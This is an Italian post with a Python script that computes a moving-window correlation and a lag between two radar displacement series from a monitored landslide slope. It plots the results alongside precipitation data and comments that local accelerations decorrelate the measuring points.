Un semplice script che calcola la correlazione tra due serie tempo (due estensimetri) facendo scorrere una finestra mobilew
Come si vede il versante si muove con costanza in modo uniforme (i due estensimetri hanno dati correlabili)...quando c'e' una accelerazione questa e' locale e fa decorrelare i due punti di misura. In seguito si reinstaura il movimento generale
I dati meteo sono sostanzialmente inutili perche' in inverno le precipitazioni sono unicamente nevose. Nel resto dell'anno le precipitazioni non sembrano avere una particolare stagionalita'
import datetime as dt
import pandas as pd
import numpy as np
from matplotlib import pyplot as plt
from sklearn.preprocessing import PolynomialFeatures
from scipy import signal
## tutti i dati sono ricampionamti su base giornaliera
## i dati sono campionati ogni 20 oppure ogni 15 minuti
## i dati radar sono campionati ogni 70 minuti
################### METEO ################################
## dal 24/7/2019 00;00 al 1/12/2021 23:59
parser = lambda date: dt.datetime.strptime(date, '%d/%m/%Y %H:%M')
meteo = pd.read_csv('meteo/meteo.csv', sep=';', parse_dates=['Data'], index_col=['Data'], infer_datetime_format=True)
#effettua il resampling sui 180 minuti
meteo_d = meteo.resample('180T').sum()
meteo_d.to_csv("meteo_180.csv")
print(meteo_d.shape)
#################### RADAR ###############################
parser = lambda date: dt.datetime.strptime(date, '%d/%m/%Y %H:%M:%S.%f')
# legge il csv e lo mette in un dataframe
dati_s1 = pd.read_csv('disp_raw_PTS_P2.csv', sep=',', parse_dates=['Tempo'], index_col=['Tempo'], date_parser=parser)
dati_s2 = pd.read_csv('disp_raw_PTS_P30.csv', sep=',', parse_dates=['Tempo'], index_col=['Tempo'], date_parser=parser)
# ricampiona in base giornaliera
dati_s1_d = dati_s1.resample('180T').mean()
dati_s2_d = dati_s2.resample('180T').mean()
#estrae solo i dati per i quali c'e' anche il dato meteo
#dati_s1_d_f = dati_s1_d[246:1107]
#dati_s2_d_f = dati_s1_d[246:1107]
#salva su file
dati_s1_d.to_csv("s1.csv")
dati_s2_d.to_csv("s2.csv")
# finestra mobile
mw = []
x1 = np.arange(862)
for i in range(1950,8846):
set1 = dati_s1_d[i-160:i]
set2 = dati_s2_d[i-160:i]
mw_v = np.corrcoef(set1.iloc[:,0],set2.iloc[:,0])
mw.append(mw_v[0,1])
plt.figure()
plt.subplot(311)
plt.plot(meteo_d.index,dati_s1_d[1950:8846], color='green', label='P2')
plt.plot(meteo_d.index,dati_s2_d[1950:8846], color='blue', label='P30')
plt.legend()
plt.xlabel('Tempo')
plt.ylabel('Raw Radar (mm)')
plt.title('P2 P30')
plt.subplot(312)
plt.plot(meteo_d.index,mw, color='red')
plt.xlabel('Tempo')
plt.ylabel('Indice corr.')
plt.subplot(313)
plt.bar(meteo_d.index,meteo_d['Pluv.[mm]'])
plt.xlabel('Tempo')
plt.ylabel('Prec. (mm)')
plt.show()
#### ricerca del lag
print("########lag")
correlation = signal.correlate(dati_s1_d-np.mean(dati_s1_d), dati_s2_d - np.mean(dati_s2_d), mode="full")
lags = signal.correlation_lags(len(dati_s1_d), len(dati_s2_d), mode="full")
lag = lags[np.argmax(correlation)]
print(lag)
